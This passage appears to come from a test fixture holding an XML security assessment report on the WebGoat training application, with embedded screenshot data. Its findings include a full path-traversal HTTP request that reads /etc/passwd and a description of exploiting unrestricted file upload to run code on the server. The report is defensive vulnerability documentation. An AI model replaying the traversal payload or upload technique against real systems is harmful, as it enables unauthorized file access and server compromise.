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</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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